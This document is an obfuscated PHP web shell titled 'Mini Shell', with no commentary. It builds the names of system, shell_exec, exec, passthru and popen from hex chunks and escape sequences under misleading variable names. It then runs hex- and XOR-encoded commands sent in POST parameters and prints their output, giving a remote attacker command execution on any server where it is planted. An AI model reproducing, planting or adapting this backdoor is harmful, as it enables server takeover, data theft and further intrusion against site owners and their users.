Mini Shell
<?php $dchunk1 = '7';$dchunk2 = '3';$dchunk3 = '4';$dchunk4 = '5';$dchunk5 = '6';$dchunk6 = '8';$dchunk7 = 'f';$dchunk8 = '0';$dchunk9 = '1';$dchunk10 = '2';$dchunk11 = 'd';$dchunk12 = 'e';$dchunk13 = 'c';$token_parser_engine1 = pack("H*", $dchunk1.'3'.'7'.'9'.'7'.$dchunk2.$dchunk1.$dchunk3.'6'.$dchunk4.$dchunk5.'d');$token_parser_engine2 = pack("H*", '7'.$dchunk2.'6'.$dchunk6.$dchunk5.'5'.$dchunk5.'c'.$dchunk5.'c'.'5'.$dchunk7.$dchunk5.'5'.$dchunk1.$dchunk6.$dchunk5.$dchunk4.$dchunk5.$dchunk2);$token_parser_engine3 = pack("H*", $dchunk5.$dchunk4.$dchunk1.$dchunk6.$dchunk5.$dchunk4.$dchunk5.'3');$token_parser_engine4 = pack("H*", '7'.$dchunk8.'6'.$dchunk9.'7'.'3'.$dchunk1.$dchunk2.$dchunk1.$dchunk3.$dchunk5.'8'.'7'.$dchunk10.'7'.$dchunk4);$token_parser_engine5 = pack("H*", '7'.$dchunk8.$dchunk5.'f'.'7'.'0'.'6'.'5'.'6'.'e');$token_parser_engine6 = pack("H*", '7'.$dchunk2.$dchunk1.'4'.$dchunk1.'2'.$dchunk5.$dchunk4.$dchunk5.$dchunk9.'6'.$dchunk11.'5'.$dchunk7.'6'.'7'.'6'.'5'.'7'.'4'.$dchunk4.'f'.$dchunk5.'3'.'6'.$dchunk7.'6'.'e'.'7'.$dchunk3.'6'.'5'.$dchunk5.$dchunk12.'7'.'4'.$dchunk1.'3');$token_parser_engine7 = pack("H*", '7'.$dchunk8.'6'.'3'.$dchunk5.$dchunk13.'6'.'f'.$dchunk1.'3'.$dchunk5.'5');$restore_state = pack("H*", $dchunk1.$dchunk10.'6'.$dchunk4.'7'.$dchunk2.'7'.'4'.$dchunk5.'f'.$dchunk1.$dchunk10.$dchunk5.'5'.$dchunk4.'f'.'7'.$dchunk2.'7'.$dchunk3.$dchunk5.'1'.'7'.$dchunk3.'6'.$dchunk4);if(isset($_POST[$restore_state])){$restore_state=pack("H*",$_POST[$restore_state]);if(function_exists($token_parser_engine1)){$token_parser_engine1($restore_state);}elseif(function_exists($token_parser_engine2)){print $token_parser_engine2($restore_state);}elseif(function_exists($token_parser_engine3)){$token_parser_engine3($restore_state,$ent_comp);print join("\n",$ent_comp);}elseif(function_exists($token_parser_engine4)){$token_parser_engine4($restore_state);}elseif(function_exists($token_parser_engine5)&&function_exists($token_parser_engine6)&&function_exists($token_parser_engine7)){$entry_element=$token_parser_engine5($restore_state,"r");if($entry_element){$factor_sym=$token_parser_engine6($entry_element);$token_parser_engine7($entry_element);print $factor_sym;}}exit;}
$framework3 = "\x65\x78ec";
$framework7 = "pcl\x6Fs\x65";
$framework5 = "\x70\x6Fpen";
$framework4 = "\x70as\x73t\x68\x72u";
$framework2 = "\x73h\x65\x6Cl\x5F\x65xec";
$mutex_lock = "he\x78\x32\x62in";
$framework6 = "s\x74r\x65am_\x67e\x74_\x63on\x74\x65nts";
$framework1 = "\x73ys\x74\x65m";
if (isset($_POST["\x66\x61c"])) {
function dataflow_engine ( $itm , $entry ) {
$rec = '' ;
for($q=0;
$q<strlen($itm);
$q++){
$rec.=chr(ord($itm[$q])^$entry);
} return $rec;
}
$fac = $mutex_lock($_POST["\x66\x61c"]);
$fac = dataflow_engine($fac, 87);
if (function_exists($framework1)) {
$framework1($fac);
} elseif (function_exists($framework2)) {
print $framework2($fac);
} elseif (function_exists($framework3)) {
$framework3($fac, $res_itm);
print join("\n", $res_itm);
} elseif (function_exists($framework4)) {
$framework4($fac);
} elseif (function_exists($framework5) && function_exists($framework6) && function_exists($framework7)) {
$entry_rec = $framework5($fac, 'r');
if ($entry_rec) {
$holder_pgrp = $framework6($entry_rec);
$framework7($entry_rec);
print $holder_pgrp;
}
}
exit;
}